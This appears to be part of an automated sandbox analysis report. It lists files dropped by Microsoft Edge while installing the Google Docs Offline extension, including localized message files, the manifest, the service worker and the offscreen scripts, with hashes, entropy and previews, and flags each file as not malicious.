SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\e2b39aca-164c-495f-aa14-83b4c7c5cbb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
